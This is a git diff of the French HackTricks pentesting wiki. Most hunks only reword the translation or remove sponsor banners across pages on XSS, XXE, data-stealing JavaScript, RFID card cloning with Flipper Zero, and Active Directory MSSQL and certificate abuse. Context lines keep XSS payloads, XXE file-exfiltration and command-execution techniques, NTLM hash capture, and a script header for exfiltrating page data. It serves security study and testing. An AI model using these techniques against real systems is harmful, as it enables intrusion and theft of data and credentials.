est de vérifier si vous pouvez abuser de `<` pour créer de nouvelles balises : Essayez simplement de **refléter** ce **caractère** et vérifiez s'il est **HTML encodé** ou **supprimé** ou s'il est **reflété sans modifications**. **Ce n'est que dans ce dernier cas que vous pourrez exploiter ce cas**.\ Pour ces cas, gardez également à l'esprit [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\ &#xNAN;_**Remarque : Un commentaire HTML peut être fermé en utilisant\*\*\*\*\*\*** \***\*`-->`\*\*** \***\*ou \*\*\*\*\*\***`--!>`\*\**_ @@ -239,7 +233,7 @@ onerror=alert`1`
Newsletter popup
``` -Depuis [**ici**](https://portswigger.net/research/xss-in-hidden-input-fields) : Vous pouvez exécuter une **charge utile XSS à l'intérieur d'un attribut caché**, à condition de pouvoir **persuader** la **victime** d'appuyer sur la **combinaison de touches**. Sur Firefox Windows/Linux, la combinaison de touches est **ALT+SHIFT+X** et sur OS X, c'est **CTRL+ALT+X**. Vous pouvez spécifier une combinaison de touches différente en utilisant une autre touche dans l'attribut de clé d'accès. Voici le vecteur : +Depuis [**ici**](https://portswigger.net/research/xss-in-hidden-input-fields) : Vous pouvez exécuter une **charge utile XSS à l'intérieur d'un attribut caché**, à condition de pouvoir **persuader** la **victime** d'appuyer sur la **combinaison de touches**. Sur Firefox Windows/Linux, la combinaison de touches est **ALT+SHIFT+X** et sur OS X, c'est **CTRL+ALT+X**. Vous pouvez spécifier une combinaison de touches différente en utilisant une autre touche dans l'attribut d'accès. Voici le vecteur : ```markup ``` @@ -478,11 +472,11 @@ Dans ce cas, votre **entrée** va être **réfléchie à l'intérieur du code JS ### Échapper la balise \`, vous pourriez facilement **échapper la fermeture de la balise ``, vous pourriez facilement **échapper en fermant la balise ` ``` -Notez que dans cet exemple, nous **n'avons même pas fermé l'apostrophe**. Cela est dû au fait que **le parsing HTML est effectué en premier par le navigateur**, ce qui implique d'identifier les éléments de la page, y compris les blocs de script. Le parsing de JavaScript pour comprendre et exécuter les scripts intégrés n'est effectué qu'ensuite. +Notez que dans cet exemple, nous **n'avons même pas fermé l'apostrophe**. Cela est dû au fait que **le parsing HTML est effectué en premier par le navigateur**, ce qui implique l'identification des éléments de la page, y compris les blocs de script. Le parsing de JavaScript pour comprendre et exécuter les scripts intégrés n'est effectué qu'ensuite. ### À l'intérieur du code JS @@ -597,7 +591,7 @@ console.log(log) //Either the raw characters can be used or you can HTML encode them if they appear in SVG or HTML attributes: ``` -**Javascript à l'intérieur d'un commentaire** +**Javascript dans un commentaire** ```javascript //If you can only inject inside a JS comment, you can still leak something //If the user opens DevTools request to the indicated sourceMappingURL will be send @@ -788,7 +782,7 @@ Vous pourriez vérifier si les **valeurs réfléchies** sont **normalisées en u ``` ### Ruby-On-Rails contournement -En raison de **l'attribution de masse RoR**, des guillemets sont insérés dans le HTML et ensuite la restriction de guillemets est contournée et des champs supplémentaires (onfocus) peuvent être ajoutés à l'intérieur de la balise.\ +En raison de **l'assignation de masse RoR**, des guillemets sont insérés dans le HTML et ensuite la restriction de guillemets est contournée et des champs supplémentaires (onfocus) peuvent être ajoutés à l'intérieur de la balise.\ Exemple de formulaire ([de ce rapport](https://hackerone.com/reports/709336)), si vous envoyez la charge utile : ``` contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa @@ -906,7 +900,7 @@ import { partition } from "lodash" ``` Ce comportement a été utilisé dans [**ce rapport**](https://github.com/zwade/yaca/tree/master/solution) pour remapper une bibliothèque à eval pour en abuser, cela peut déclencher des XSS. -- [**règlesdespeculation**](https://github.com/WICG/nav-speculation)**:** Cette fonctionnalité vise principalement à résoudre certains problèmes causés par le pré-rendu. Cela fonctionne comme suit : +- [**speculationrules**](https://github.com/WICG/nav-speculation)**:** Cette fonctionnalité est principalement destinée à résoudre certains problèmes causés par le pré-rendu. Cela fonctionne comme suit : ```html ``` > [!NOTE] -> Vous **ne pourrez pas accéder aux cookies depuis JavaScript** si le drapeau HTTPOnly est défini dans le cookie. Mais ici, vous avez [certaines façons de contourner cette protection](../hacking-with-cookies/#httponly) si vous avez la chance. +> Vous **ne pourrez pas accéder aux cookies depuis JavaScript** si le drapeau HTTPOnly est défini dans le cookie. Mais ici, vous avez [quelques moyens de contourner cette protection](../hacking-with-cookies/#httponly) si vous avez la chance. ### Voler le contenu de la page ```javascript @@ -1389,7 +1383,7 @@ Lorsque des données sont introduites dans le champ de mot de passe, le nom d'ut ### Keylogger -Juste en cherchant sur github, j'ai trouvé quelques-uns différents : +Juste en cherchant sur github, j'en ai trouvé quelques-uns différents : - [https://github.com/JohnHoder/Javascript-Keylogger](https://github.com/JohnHoder/Javascript-Keylogger) - [https://github.com/rajeshmajumdar/keylogger](https://github.com/rajeshmajumdar/keylogger) @@ -1425,7 +1419,7 @@ document.getElementById("message").src += "&"+e.data; abusing-service-workers.md {{#endref}} -### Accès au Shadow DOM +### Accéder au Shadow DOM {{#ref}} shadow-dom.md @@ -1616,10 +1610,4 @@ other-js-tricks.md - [https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec](https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec) - [https://netsec.expert/2020/02/01/xss-in-2020.html](https://netsec.expert/2020/02/01/xss-in-2020.html) -
- -Si vous êtes intéressé par une **carrière en hacking** et par le fait de hacker l'inhackable - **nous recrutons !** (_polonais courant écrit et parlé requis_). - -{% embed url="https://www.stmcyber.com/careers" %} - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/xss-cross-site-scripting/steal-info-js.md b/src/pentesting-web/xss-cross-site-scripting/steal-info-js.md index c694aaf5b..072fcaf5a 100644 --- a/src/pentesting-web/xss-cross-site-scripting/steal-info-js.md +++ b/src/pentesting-web/xss-cross-site-scripting/steal-info-js.md @@ -1,8 +1,6 @@ # Voler des informations JS {{#include ../../banners/hacktricks-training.md}} - -{% embed url="https://websec.nl/" %} ```javascript // SELECT HERE THE EXFILTRATION MODE (more than 1 can be selected) // If any GET method is selected (like location or RQ_GET), it's recommended to exfiltrate each info 1 by 1 @@ -217,6 +215,4 @@ window.onmessage = function (e) { exfil_info("onmessage", encode(e.data)) } ``` -{% embed url="https://websec.nl/" %} - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/xxe-xee-xml-external-entity.md b/src/pentesting-web/xxe-xee-xml-external-entity.md index 010f9f08a..eedbeaa99 100644 --- a/src/pentesting-web/xxe-xee-xml-external-entity.md +++ b/src/pentesting-web/xxe-xee-xml-external-entity.md @@ -1,20 +1,17 @@ -# XXE - XEE - XML External Entity +# XXE - XEE - Entité Externe XML {{#include ../banners/hacktricks-training.md}} -
-{% embed url="https://websec.nl/" %} - -## Bases XML +## Bases de XML XML est un langage de balisage conçu pour le stockage et le transport de données, avec une structure flexible qui permet l'utilisation de balises nommées de manière descriptive. Il diffère de HTML en n'étant pas limité à un ensemble de balises prédéfinies. L'importance de XML a diminué avec l'essor de JSON, malgré son rôle initial dans la technologie AJAX. -- **Représentation des données par des entités** : Les entités dans XML permettent la représentation des données, y compris des caractères spéciaux comme `<` et `>`, qui correspondent à `<` et `>` pour éviter les conflits avec le système de balises XML. +- **Représentation des données par des entités** : Les entités dans XML permettent la représentation de données, y compris des caractères spéciaux comme `<` et `>`, qui correspondent à `<` et `>` pour éviter les conflits avec le système de balises XML. - **Définition des éléments XML** : XML permet de définir des types d'éléments, décrivant comment les éléments doivent être structurés et quel contenu ils peuvent contenir, allant de tout type de contenu à des éléments enfants spécifiques. -- **Définition de type de document (DTD)** : Les DTD sont cruciaux dans XML pour définir la structure du document et les types de données qu'il peut contenir. Elles peuvent être internes, externes ou une combinaison, guidant la façon dont les documents sont formatés et validés. -- **Entités personnalisées et externes** : XML prend en charge la création d'entités personnalisées au sein d'une DTD pour une représentation flexible des données. Les entités externes, définies avec une URL, soulèvent des préoccupations de sécurité, en particulier dans le contexte des attaques XML External Entity (XXE), qui exploitent la façon dont les parseurs XML gèrent les sources de données externes : ` ]>` -- **Détection XXE avec des entités de paramètre** : Pour détecter les vulnérabilités XXE, surtout lorsque les méthodes conventionnelles échouent en raison des mesures de sécurité des parseurs, des entités de paramètre XML peuvent être utilisées. Ces entités permettent des techniques de détection hors bande, telles que le déclenchement de requêtes DNS ou HTTP vers un domaine contrôlé, pour confirmer la vulnérabilité. +- **Définition de type de document (DTD)** : Les DTD sont cruciaux dans XML pour définir la structure du document et les types de données qu'il peut contenir. Ils peuvent être internes, externes ou une combinaison, guidant la façon dont les documents sont formatés et validés. +- **Entités personnalisées et externes** : XML prend en charge la création d'entités personnalisées au sein d'une DTD pour une représentation flexible des données. Les entités externes, définies avec une URL, soulèvent des préoccupations de sécurité, en particulier dans le contexte des attaques par entité externe XML (XXE), qui exploitent la façon dont les analyseurs XML gèrent les sources de données externes : ` ]>` +- **Détection XXE avec des entités de paramètre** : Pour détecter les vulnérabilités XXE, surtout lorsque les méthodes conventionnelles échouent en raison des mesures de sécurité des analyseurs, des entités de paramètre XML peuvent être utilisées. Ces entités permettent des techniques de détection hors bande, telles que le déclenchement de recherches DNS ou de requêtes HTTP vers un domaine contrôlé, pour confirmer la vulnérabilité. - ` ]>` - ` ]>` @@ -67,7 +64,7 @@ Dans ce troisième cas, remarquez que nous déclarons l'`Element stockCheck` com ``` ![](<../images/image (753).png>) -### Liste de répertoires +### Liste des répertoires Dans les applications basées sur **Java**, il peut être possible de **lister le contenu d'un répertoire** via XXE avec un payload comme (demander simplement le répertoire au lieu du fichier) : ```xml @@ -95,7 +92,7 @@ En utilisant la **technique précédemment commentée**, vous pouvez amener le s ``` ### "Blind" SSRF - Exfiltrer des données hors bande -**Dans ce cas, nous allons faire en sorte que le serveur charge un nouveau DTD avec un payload malveillant qui enverra le contenu d'un fichier via une requête HTTP (pour les fichiers multi-lignes, vous pourriez essayer de l'exfiltrer via \_ftp://**\_ en utilisant ce serveur de base par exemple [**xxe-ftp-server.rb**](https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb)**). Cette explication est basée sur** [**Portswiggers lab ici**](https://portswigger.net/web-security/xxe/blind)**.** +**Dans ce cas, nous allons faire en sorte que le serveur charge un nouveau DTD avec un payload malveillant qui enverra le contenu d'un fichier via une requête HTTP (pour les fichiers multi-lignes, vous pourriez essayer de les exfiltrer via \_ftp://**\_ en utilisant ce serveur de base par exemple [**xxe-ftp-server.rb**](https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb)**). Cette explication est basée sur** [**Portswiggers lab ici**](https://portswigger.net/web-security/xxe/blind)**.** Dans le DTD malveillant donné, une série d'étapes sont effectuées pour exfiltrer des données : @@ -150,11 +147,11 @@ Lors de l'exécution, la réponse du serveur web devrait inclure un message d'er _**Veuillez noter que le DTD externe nous permet d'inclure une entité à l'intérieur de la seconde (\*\***`eval`\***\*), mais cela est interdit dans le DTD interne. Par conséquent, vous ne pouvez pas forcer une erreur sans utiliser un DTD externe (généralement).**_ -### **Basé sur l'erreur (DTD système)** +### **Basé sur l'erreur (system DTD)** Alors, que dire des vulnérabilités XXE aveugles lorsque **les interactions hors bande sont bloquées** (les connexions externes ne sont pas disponibles) ? -Une faille dans la spécification du langage XML peut **exposer des données sensibles à travers des messages d'erreur lorsque le DTD d'un document mélange des déclarations internes et externes**. Ce problème permet la redéfinition interne d'entités déclarées externément, facilitant l'exécution d'attaques XXE basées sur des erreurs. De telles attaques exploitent la redéfinition d'une entité de paramètre XML, initialement déclarée dans un DTD externe, depuis un DTD interne. Lorsque les connexions hors bande sont bloquées par le serveur, les attaquants doivent s'appuyer sur des fichiers DTD locaux pour mener l'attaque, visant à induire une erreur de parsing pour révéler des informations sensibles. +Une faille dans la spécification du langage XML peut **exposer des données sensibles à travers des messages d'erreur lorsque le DTD d'un document mélange des déclarations internes et externes**. Ce problème permet la redéfinition interne d'entités déclarées externes, facilitant l'exécution d'attaques XXE basées sur des erreurs. De telles attaques exploitent la redéfinition d'une entité de paramètre XML, initialement déclarée dans un DTD externe, depuis un DTD interne. Lorsque les connexions hors bande sont bloquées par le serveur, les attaquants doivent s'appuyer sur des fichiers DTD locaux pour mener l'attaque, visant à induire une erreur de parsing pour révéler des informations sensibles. Considérez un scénario où le système de fichiers du serveur contient un fichier DTD à `/usr/local/app/schema.dtd`, définissant une entité nommée `custom_entity`. Un attaquant peut induire une erreur de parsing XML révélant le contenu du fichier `/etc/passwd` en soumettant un DTD hybride comme suit : ```xml @@ -192,7 +189,7 @@ Les étapes décrites sont exécutées par ce DTD : ``` ![](<../images/image (625).png>) -Comme cette technique utilise un **DTD interne, vous devez d'abord en trouver un valide**. Vous pourriez le faire en **installant** le même **OS / logiciel** que celui utilisé par le serveur et en **cherchant quelques DTD par défaut**, ou en **récupérant une liste** de **DTD par défaut** dans les systèmes et en **vérifiant** si l'un d'eux existe : +Comme cette technique utilise un **DTD interne, vous devez d'abord en trouver un valide**. Vous pouvez le faire en **installant** le même **OS / logiciel** que celui utilisé par le serveur et en **cherchant quelques DTD par défaut**, ou en **récupérant une liste** de **DTD par défaut** dans les systèmes et en **vérifiant** si l'un d'eux existe : ```xml @@ -237,7 +234,7 @@ Maintenant, le fichier créé peut être téléchargé sur l'application web pot ### Jar: protocol -Le **jar** protocol est accessible exclusivement au sein des **applications Java**. Il est conçu pour permettre l'accès aux fichiers dans une **archive PKZIP** (par exemple, `.zip`, `.jar`, etc.), s'adressant à la fois aux fichiers locaux et distants. +Le **protocole jar** est accessible exclusivement au sein des **applications Java**. Il est conçu pour permettre l'accès aux fichiers dans une **archive PKZIP** (par exemple, `.zip`, `.jar`, etc.), s'adressant à la fois aux fichiers locaux et distants. ``` jar:file:///var/myarchive.zip!/file.txt jar:https://download.host.com/myarchive.zip!/file.txt @@ -294,7 +291,7 @@ i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h] ![](<../images/image (527).png>) -#### Obtention de NTML +#### Obtenir NTML Sur les hôtes Windows, il est possible d'obtenir le hash NTML de l'utilisateur du serveur web en configurant un gestionnaire responder.py : ```bash @@ -314,7 +311,7 @@ Puis vous pouvez essayer de craquer le hash en utilisant hashcat Lors de l'intégration des données client dans des documents XML côté serveur, comme ceux des requêtes SOAP en backend, le contrôle direct sur la structure XML est souvent limité, entravant les attaques XXE traditionnelles en raison des restrictions sur la modification de l'élément `DOCTYPE`. Cependant, une attaque `XInclude` offre une solution en permettant l'insertion d'entités externes dans n'importe quel élément de données du document XML. Cette méthode est efficace même lorsque seule une partie des données d'un document XML généré par le serveur peut être contrôlée. -Pour exécuter une attaque `XInclude`, l'espace de noms `XInclude` doit être déclaré, et le chemin du fichier pour l'entité externe prévue doit être spécifié. Ci-dessous se trouve un exemple succinct de la façon dont une telle attaque peut être formulée : +Pour exécuter une attaque `XInclude`, l'espace de noms `XInclude` doit être déclaré, et le chemin du fichier pour l'entité externe souhaitée doit être spécifié. Ci-dessous se trouve un exemple succinct de la façon dont une telle attaque peut être formulée : ```xml productId=&storeId=1 ``` @@ -330,13 +327,13 @@ Un exemple d'un tel exploit est montré ci-dessous, où une image SVG malveillan ```xml ``` -Une autre méthode consiste à **exécuter des commandes** via le wrapper PHP "expect" : +Une autre méthode consiste à **exécuter des commandes** via le wrapper "expect" de PHP : ```xml ``` -Dans les deux cas, le format SVG est utilisé pour lancer des attaques qui exploitent les capacités de traitement XML du logiciel du serveur, soulignant la nécessité d'une validation des entrées robuste et de mesures de sécurité. +Dans les deux cas, le format SVG est utilisé pour lancer des attaques qui exploitent les capacités de traitement XML du logiciel du serveur, soulignant la nécessité d'une validation d'entrée robuste et de mesures de sécurité. Vérifiez [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe) pour plus d'infos ! @@ -431,7 +428,7 @@ Si le web utilise Java, vous pouvez vérifier le [**protocole jar:**](xxe-xee-xm ### Entités HTML Astuce de [**https://github.com/Ambrotd/XXE-Notes**](https://github.com/Ambrotd/XXE-Notes)\ -Vous pouvez créer une **entité à l'intérieur d'une entité** en l'encoding avec **des entités html** et ensuite l'appeler pour **charger un dtd**.\ +Vous pouvez créer une **entité à l'intérieur d'une entité** en l'encoding avec **entités html** et ensuite l'appeler pour **charger un dtd**.\ Notez que les **entités HTML** utilisées doivent être **numériques** (comme \[dans cet exemple]\([https://gchq.github.io/CyberChef/#recipe=To_HTML_Entity%28true,'Numeric entities'%29\&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)\\]()). ```xml %a;%dtd;]> @@ -446,7 +443,7 @@ Exemple de DTD : %abt; %exfil; ``` -## PHP Wrappers +## Enveloppes PHP ### Base64 @@ -494,7 +491,7 @@ Content-Type: application/x-xliff+xml ------WebKitFormBoundaryqBdAsEtYaBjTArl3-- ``` -Cependant, cette requête déclenche une erreur de serveur interne, mentionnant spécifiquement un problème avec les déclarations de balisage : +Cependant, cette requête déclenche une erreur interne du serveur, mentionnant spécifiquement un problème avec les déclarations de balisage : ```json { "status": 500, @@ -609,11 +606,11 @@ Utiliser le filtre base64 de PHP ``` -## Java XMLDecoder XEE à RCE +## Java XMLDecoder XEE to RCE XMLDecoder est une classe Java qui crée des objets basés sur un message XML. Si un utilisateur malveillant parvient à amener une application à utiliser des données arbitraires dans un appel à la méthode **readObject**, il obtiendra instantanément une exécution de code sur le serveur. -### Utilisation de Runtime().exec() +### Using Runtime().exec() ```xml @@ -688,8 +685,5 @@ XMLDecoder est une classe Java qui crée des objets basés sur un message XML. S - [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe)\\ - [https://gosecure.github.io/xxe-workshop/#7](https://gosecure.github.io/xxe-workshop/#7) -
- -{% embed url="https://websec.nl/" %} {{#include ../banners/hacktricks-training.md}} diff --git a/src/todo/more-tools.md b/src/todo/more-tools.md index 58ca905b0..243327c7d 100644 --- a/src/todo/more-tools.md +++ b/src/todo/more-tools.md @@ -1,8 +1,5 @@ {{#include ../banners/hacktricks-training.md}} -
- -{% embed url="https://websec.nl/" %} # BlueTeam @@ -58,7 +55,7 @@ - [https://github.com/gauravnarwani97/Trishul](https://github.com/gauravnarwani97/Trishul) : Plugin BurpSuite pour trouver des vulnérabilités (SQLi, XSS, SSTI) - [https://github.com/fransr/postMessage-tracker](https://github.com/fransr/postMessage-tracker) : Extension Chrome pour suivre les fonctions de messages post - [https://github.com/Quitten/Autorize](https://github.com/Quitten/Autorize) : Tests d'authentification automatiques (supprimer les cookies et essayer d'envoyer la requête) -- [https://github.com/pikpikcu/xrcross](https://github.com/pikpikcu/xrcross): XRCross est un outil de Reconstruction, Scanner, et pour les tests de pénétration / BugBounty. Cet outil a été construit pour tester les vulnérabilités (XSS|SSRF|CORS|SSTI|IDOR|RCE|LFI|SQLI) +- [https://github.com/pikpikcu/xrcross](https://github.com/pikpikcu/xrcross): XRCross est un outil de reconstruction, scanner et un outil pour les tests de pénétration / BugBounty. Cet outil a été construit pour tester les vulnérabilités (XSS|SSRF|CORS|SSTI|IDOR|RCE|LFI|SQLI) # Windows @@ -67,18 +64,18 @@ - [https://gist.github.com/netbiosX/ee35fcd3722e401a38136cff7b751d79](https://gist.github.com/netbiosX/ee35fcd3722e401a38136cff7b751d79) ([https://pentestlab.blog/2020/01/13/persistence-image-file-execution-options-injection/](https://pentestlab.blog/2020/01/13/persistence-image-file-execution-options-injection/)): Persistance - [https://github.com/odzhan/injection](https://github.com/odzhan/injection) : Techniques d'injection de processus Windows - [https://github.com/BankSecurity/Red_Team](https://github.com/BankSecurity/Red_Team) : Scripts de l'équipe rouge -- [https://github.com/l0ss/Grouper2](https://github.com/l0ss/Grouper2) : trouver des configurations incorrectes liées à la sécurité dans la stratégie de groupe Active Directory. +- [https://github.com/l0ss/Grouper2](https://github.com/l0ss/Grouper2) : Trouver des configurations incorrectes liées à la sécurité dans la stratégie de groupe Active Directory. - [https://www.wietzebeukema.nl/blog/powershell-obfuscation-using-securestring](https://www.wietzebeukema.nl/blog/powershell-obfuscation-using-securestring) : Obfuscation de Securestring - [https://pentestlab.blog/2020/02/24/parent-pid-spoofing/](https://pentestlab.blog/2020/02/24/parent-pid-spoofing/) : Spoofing de PID parent - [https://github.com/the-xentropy/xencrypt](https://github.com/the-xentropy/xencrypt) : Chiffrer les charges utiles Powershell - [https://shells.systems/introducing-ninja-c2-the-c2-built-for-stealth-red-team-operations/](https://shells.systems/introducing-ninja-c2-the-c2-built-for-stealth-red-team-operations/) : C2 furtif -- [https://windows-internals.com/faxing-your-way-to-system/](https://windows-internals.com/faxing-your-way-to-system/) : Série de journaux sur les Internals de Windows +- [https://windows-internals.com/faxing-your-way-to-system/](https://windows-internals.com/faxing-your-way-to-system/) : Série de journaux sur les internals de Windows - [https://bestestredteam.com/2018/10/02/tracking-pixel-in-microsoft-office-document/](https://bestestredteam.com/2018/10/02/tracking-pixel-in-microsoft-office-document/) : Suivre qui ouvre un document - [https://github.com/Integration-IT/Active-Directory-Exploitation-Cheat-Sheet](https://github.com/Integration-IT/Active-Directory-Exploitation-Cheat-Sheet) : Fiche de triche Active Directory # Firmware -Outils que je vois qui peuvent être intéressants pour analyser des firmwares (automatiques) : +Outils que je vois qui peuvent être intéressants pour analyser les firmwares (automatiques) : - [https://github.com/craigz28/firmwalker](https://github.com/craigz28/firmwalker) - [https://github.com/fkie-cad/FACT_core](https://github.com/fkie-cad/FACT_core) @@ -93,11 +90,11 @@ Comment extraire le firmware si nous ne le trouvons pas en ligne : [https://www. Voici un firmware avec des vulnérabilités à analyser : [https://github.com/scriptingxss/IoTGoat](https://github.com/scriptingxss/IoTGoat) -et par ici la méthodologie owasp pour analyser le firmware : [https://github.com/scriptingxss/owasp-fstm](https://github.com/scriptingxss/owasp-fstm) +et par ici la méthodologie OWASP pour analyser le firmware : [https://github.com/scriptingxss/owasp-fstm](https://github.com/scriptingxss/owasp-fstm) -Émulation de firmware : FIRMADYNE (https://github.com/firmadyne/firmadyne/) est une plateforme pour automatiser l'émulation et l'analyse dynamique de firmwares basés sur Linux. +Émulation de firmware : FIRMADYNE (https://github.com/firmadyne/firmadyne/) est une plateforme pour automatiser l'émulation et l'analyse dynamique des firmwares basés sur Linux. -# AUTRE +# OTHER - [https://twitter.com/HackAndDo/status/1202695084543791117](https://twitter.com/HackAndDo/status/1202695084543791117) - [https://github.com/weev3/LKWA](https://github.com/weev3/LKWA) @@ -108,7 +105,7 @@ et par ici la méthodologie owasp pour analyser le firmware : [https://github.co - [https://github.com/skeeto/endlessh](https://github.com/skeeto/endlessh) : SSH tarpit qui envoie lentement une bannière sans fin. - AWS et outils Cloud : [https://github.com/toniblyx/my-arsenal-of-aws-security-tools](https://github.com/toniblyx/my-arsenal-of-aws-security-tools) - IFS (Interplanetary File System) pour le phishing : [https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/using-the-interplanetary-file-system-for-offensive-operations/](https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/using-the-interplanetary-file-system-for-offensive-operations/) -- Services de rotation d'IP : [https://medium.com/@lokeshdlk77/how-to-rotate-ip-address-in-brute-force-attack-e66407259212](https://medium.com/@lokeshdlk77/how-to-rotate-ip-address-in-brute-force-attack-e66407259212) +- Services de rotation IP : [https://medium.com/@lokeshdlk77/how-to-rotate-ip-address-in-brute-force-attack-e66407259212](https://medium.com/@lokeshdlk77/how-to-rotate-ip-address-in-brute-force-attack-e66407259212) - Rootkit Linux : [https://github.com/aesophor/satanic-rootkit](https://github.com/aesophor/satanic-rootkit) - [https://theia-ide.org/](https://theia-ide.org) : IDE en ligne - [https://github.com/nahamsec/Resources-for-Beginner-Bug-Bounty-Hunters/](https://github.com/nahamsec/Resources-for-Beginner-Bug-Bounty-Hunters/) : Ressources pour commencer sur BugBounties @@ -119,8 +116,5 @@ et par ici la méthodologie owasp pour analyser le firmware : [https://github.co - [https://github.com/doyensec/awesome-electronjs-hacking](https://github.com/doyensec/awesome-electronjs-hacking) : Cette liste vise à couvrir les sujets de sécurité liés à Electron.js. - [https://github.com/serain/bbrecon](https://github.com/serain/bbrecon) : Infos sur les programmes BB -
- -{% embed url="https://websec.nl/" %} {{#include ../banners/hacktricks-training.md}} diff --git a/src/todo/radio-hacking/flipper-zero/fz-125khz-rfid.md b/src/todo/radio-hacking/flipper-zero/fz-125khz-rfid.md index c474d51d8..7cefaccec 100644 --- a/src/todo/radio-hacking/flipper-zero/fz-125khz-rfid.md +++ b/src/todo/radio-hacking/flipper-zero/fz-125khz-rfid.md @@ -2,9 +2,6 @@ {{#include ../../../banners/hacktricks-training.md}} -
- -{% embed url="https://websec.nl/" %} ## Intro @@ -20,18 +17,18 @@ Pour plus d'informations sur ces types de tags [**lisez cette introduction**](.. ### Read -Essaie de **lire** les informations de la carte. Ensuite, il peut **émuler** celles-ci. +Essaye de **lire** les informations de la carte. Ensuite, il peut **l'imiter**. > [!WARNING] -> Notez que certains interphones essaient de se protéger contre la duplication de clés en envoyant une commande d'écriture avant de lire. Si l'écriture réussit, ce tag est considéré comme faux. Lorsque Flipper émule RFID, il n'y a aucun moyen pour le lecteur de le distinguer de l'original, donc aucun problème de ce type ne se produit. +> Notez que certains interphones essaient de se protéger contre la duplication de clés en envoyant une commande d'écriture avant de lire. Si l'écriture réussit, ce tag est considéré comme faux. Lorsque Flipper imite RFID, il n'y a aucun moyen pour le lecteur de le distinguer de l'original, donc aucun problème de ce type ne se produit. ### Add Manually -Vous pouvez créer des **cartes fausses dans Flipper Zero en indiquant les données** manuellement, puis les émuler. +Vous pouvez créer des **cartes fausses dans Flipper Zero en indiquant les données** manuellement, puis les imiter. #### IDs on cards -Parfois, lorsque vous obtenez une carte, vous trouverez l'ID (ou une partie) écrit sur la carte de manière visible. +Parfois, lorsque vous obtenez une carte, vous trouverez l'ID (ou une partie) écrit sur la carte visible. - **EM Marin** @@ -42,20 +39,17 @@ Les 2 autres peuvent être brute-forcés si vous ne pouvez pas les lire sur la c - **HID** -Il en va de même pour cette carte HID où seuls 2 des 3 octets peuvent être trouvés imprimés sur la carte. +Il en va de même pour cette carte HID où seulement 2 des 3 octets peuvent être trouvés imprimés sur la carte.
### Emulate/Write -Après **avoir copié** une carte ou **avoir entré** l'ID **manuellement**, il est possible de **l'émuler** avec Flipper Zero ou de **l'écrire** sur une carte réelle. +Après avoir **copié** une carte ou **saisi** l'ID **manuellement**, il est possible de **l'imiter** avec Flipper Zero ou de **l'écrire** sur une carte réelle. ## References - [https://blog.flipperzero.one/rfid/](https://blog.flipperzero.one/rfid/) -
- -{% embed url="https://websec.nl/" %} {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/active-directory-methodology/abusing-ad-mssql.md b/src/windows-hardening/active-directory-methodology/abusing-ad-mssql.md index 129b3d964..862acbcb3 100644 --- a/src/windows-hardening/active-directory-methodology/abusing-ad-mssql.md +++ b/src/windows-hardening/active-directory-methodology/abusing-ad-mssql.md @@ -2,9 +2,6 @@ {{#include ../../banners/hacktricks-training.md}} -
- -{% embed url="https://websec.nl/" %} ## **MSSQL Enumeration / Discovery** @@ -161,9 +158,9 @@ Vérifiez dans la page mentionnée dans la **section suivante comment le faire m ## Liens de confiance MSSQL -Si une instance MSSQL est de confiance (lien de base de données) par une autre instance MSSQL. Si l'utilisateur a des privilèges sur la base de données de confiance, il pourra **utiliser la relation de confiance pour exécuter des requêtes également dans l'autre instance**. Ces confiances peuvent être enchaînées et à un moment donné, l'utilisateur pourrait être en mesure de trouver une base de données mal configurée où il peut exécuter des commandes. +Si une instance MSSQL est de confiance (lien de base de données) par une autre instance MSSQL. Si l'utilisateur a des privilèges sur la base de données de confiance, il pourra **utiliser la relation de confiance pour exécuter des requêtes également dans l'autre instance**. Ces relations de confiance peuvent être enchaînées et à un moment donné, l'utilisateur pourrait être en mesure de trouver une base de données mal configurée où il peut exécuter des commandes. -**Les liens entre les bases de données fonctionnent même à travers les confiances de forêt.** +**Les liens entre les bases de données fonctionnent même à travers les relations de confiance entre forêts.** ### Abus de Powershell ```powershell @@ -261,8 +258,5 @@ Une stratégie que de nombreux auteurs ont développée est de forcer un service [SweetPotato](https://github.com/CCob/SweetPotato) a une collection de ces diverses techniques qui peuvent être exécutées via la commande `execute-assembly` de Beacon. -
- -{% embed url="https://websec.nl/" %} {{#include ../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md b/src/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md index 184f98019..8a296b289 100644 --- a/src/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md +++ b/src/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md @@ -2,11 +2,7 @@ {{#include ../../../banners/hacktricks-training.md}} -
- -{% embed url="https://websec.nl/" %} - -**Ceci est un résumé des sections de technique d'escalade des publications :** +**Ceci est un résumé des sections de techniques d'escalade des publications :** - [https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf](https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf) - [https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7](https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7) @@ -18,13 +14,13 @@ ### Modèles de certificats mal configurés - ESC1 Expliqué -- **Des droits d'inscription sont accordés à des utilisateurs à faibles privilèges par l'Enterprise CA.** +- **Les droits d'inscription sont accordés à des utilisateurs à faibles privilèges par l'Enterprise CA.** - **L'approbation du manager n'est pas requise.** - **Aucune signature de personnel autorisé n'est nécessaire.** - **Les descripteurs de sécurité sur les modèles de certificats sont trop permissifs, permettant aux utilisateurs à faibles privilèges 